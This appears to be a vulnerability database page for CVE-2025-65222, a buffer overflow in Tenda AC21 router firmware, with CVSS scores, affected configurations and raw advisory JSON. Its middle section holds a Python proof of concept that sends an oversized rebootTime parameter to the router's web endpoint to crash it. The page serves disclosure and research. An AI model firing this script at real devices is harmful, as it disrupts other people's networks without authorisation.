Security Vulnerability Report
中文
CVE-2025-65222 CVSS 4.3 MEDIUM

CVE-2025-65222

Published: 2025-11-20 15:17:40
Last Modified: 2025-11-21 17:25:24

Description

Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow via the rebootTime parameter of /goform/SetSysAutoRebbotCfg.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:* - NOT VULNERABLE
Tenda AC21 V16.03.08.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-65222 PoC - Tenda AC21 Buffer Overflow # Target: Tenda AC21 V16.03.08.16 # Endpoint: /goform/SetSysAutoRebbotCfg # Parameter: rebootTime target_ip = "192.168.0.1" # Router default IP target_port = 80 # Construct malicious payload with oversized rebootTime parameter # Buffer overflow occurs when data exceeds buffer boundary payload_size = 1000 # Adjust size based on actual buffer boundary malicious_payload = "A" * payload_size url = f"http://{target_ip}:{target_port}/goform/SetSysAutoRebbotCfg" params = { "rebootTime": malicious_payload, "rebootEnabled": "1" } try: print(f"[*] Sending malicious request to {url}") print(f"[*] Payload size: {payload_size} bytes") response = requests.get(url, params=params, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") if response.status_code == 200: print("[!] Target may be vulnerable - request processed") else: print("[*] Unexpected response") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") print("[*] Target may be down or not vulnerable") # Note: For verification, use binary payload: # binary_payload = b'\x41' * payload_size # params = {"rebootTime": binary_payload.decode('latin-1')}

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-65222", "sourceIdentifier": "[email protected]", "published": "2025-11-20T15:17:40.297", "lastModified": "2025-11-21T17:25:23.817", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Tenda AC21 V16.03.08.16 is vulnerable to Buffer Overflow via the rebootTime parameter of /goform/SetSysAutoRebbotCfg."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:tenda:ac21_firmware:16.03.08.16:*:*:*:*:*:*:*", "matchCriteriaId": "089AC516-5475-4725-B348-832A00ED0CC3"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:tenda:ac21:-:*:*:*:*:*:*:*", "matchCriteriaId": "05B05222-6E83-487C-A083-CED82D803330"}]}]}], "references": [{"url": "https://github.com/Madgeaaaaa/MY_VULN_2/blob/main/Tenda/VULN3.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}